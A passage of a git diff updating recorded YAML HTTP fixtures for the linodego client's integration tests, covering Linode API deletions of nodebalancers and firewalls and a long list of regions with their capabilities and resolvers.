images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -355,7 +375,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441134 + url: https://api.linode.com/v4beta/nodebalancers/694199 method: DELETE response: body: '{}' @@ -371,15 +391,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -392,64 +416,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228223 - method: DELETE - response: - body: '{}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "2" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestNodeBalancer_Get.yaml b/test/integration/fixtures/TestNodeBalancer_Get.yaml index 91f7a5f06..838b78f1c 100644 --- a/test/integration/fixtures/TestNodeBalancer_Get.yaml +++ b/test/integration/fixtures/TestNodeBalancer_Get.yaml @@ -1,67 +1,6 @@ --- version: 1 interactions: -- request: - body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls - method: POST - response: - body: '{"id": 228226, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": - [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": - "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": - "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": - "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "526" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - request: body: "" form: {} @@ -76,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - 